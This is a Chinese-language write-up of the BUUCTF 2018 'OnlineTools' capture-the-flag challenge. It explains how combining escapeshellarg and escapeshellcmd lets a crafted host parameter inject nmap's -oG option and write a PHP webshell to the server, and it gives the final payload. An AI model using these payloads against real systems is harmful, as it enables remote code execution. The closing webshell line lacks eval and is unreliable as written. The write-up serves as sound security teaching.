[buuctf2018] OnlineTools

这道题一上来就给了段源码

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

本来不是特别难,但我对nmap不太熟悉所以又去了解了一下它的用法,所以花了好久- -

这道题分为两步

  • 代码审计
  • 构造payload

代码审计

大概就是传入一个参数host,先后经过escapeshellargescapeshellcmd处理后拼接到system里。

查一下这两个函数。

这两个函数一起使用会造成漏洞,在这篇文章中有讲到。

经过了它的提示,大概就知道是利用这个洞传入payload执行命令。

先来看看这两个函数

如果我们在输入的host的两边加上引号

<?php
$host = "'<?php echo phpinfo(); ?>'";
$host = escapeshellarg($host);
echo $host."\n";

经过escapeshellarg处理后输出为:

''\''<?php echo phpinfo(); ?>'\'''

再经过escapeshellcmd处理后为:

''\\''\<\?php echo phpinfo\(\)\; \?\>'\\'''

经过了一些转义和不转义的字符之后有点晕,让我们来分析一下

经过bash解析后,最终payload变为:

\ <?php echo phpinfo(); ?> \\

讲讲这个解析过程!我尝试了好久!

''\\''\<\?php echo phpinfo\(\)\; \?\>'\\''' #这是被两个函数处理后的

经过bash解析后

  • ''被解析成了空格

  • \\成了\

  • ''再次被解析成了空格

  • 本来在nmap中直接输入<?php echo phpinfo(); ?>会报错

但正好由于escapeshellcmd的处理,把符号都转义了,因此输入\<\?php echo phpinfo\(\)\; \?\>就不报错了

  • '\\'被解析成\\

  • ''再再一次被解析成空格

因此就成了以上说的

\ <?php echo phpinfo(); ?> \\

够清晰了吧 呜呜呜

nmap

nmap的输出功能分为5种(常见3种)在我的另一篇文章中有讲到

我依次试验了一下:

-oG hhh.txt

# Nmap 7.70 scan initiated Wed Jul 15 13:36:58 2020 as: nmap -T5 -sT -Pn --host-timeout 2 -F -oG hhh.txt \ <?php echo phpinfo();?> \\
# Nmap done at Wed Jul 15 13:37:23 2020 -- 0 IP addresses (0 hosts up) scanned in 25.28 seconds

-oG hhh.php

-oN aaa.txt

# Nmap 7.70 scan initiated Wed Jul 15 13:42:35 2020 as: nmap -T5 -sT -Pn --host-timeout 2 -F -oN aaa.txt \ <?php echo phpinfo();?> \\
Failed to resolve "\".
Failed to resolve "<?php".
Failed to resolve "echo".
Failed to resolve "phpinfo();?>".
Failed to resolve "\\".
WARNING: No targets were specified, so 0 hosts scanned.
# Nmap done at Wed Jul 15 13:43:00 2020 -- 0 IP addresses (0 hosts up) scanned in 25.22 seconds

-oN aaa.php

Parse error: syntax error, unexpected '".' (T_CONSTANT_ENCAPSED_STRING) in /var/www/html/38a8cf0068c77c5f7c623a7d3f1ee69f/aaa1.php on line 4

因此试验下来只有-oG没有显示报错信息才能成功。

因此我们的payload为

?host=' <?php echo phpinfo();?> -oG hhh.php '

再改成

?host=' <?php $_POST['hhhh']; ?> -oG hhh1.php '

连接就可以了。

Author: Neorah
Link: https://neorah.me/ctf/buuctf2018/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.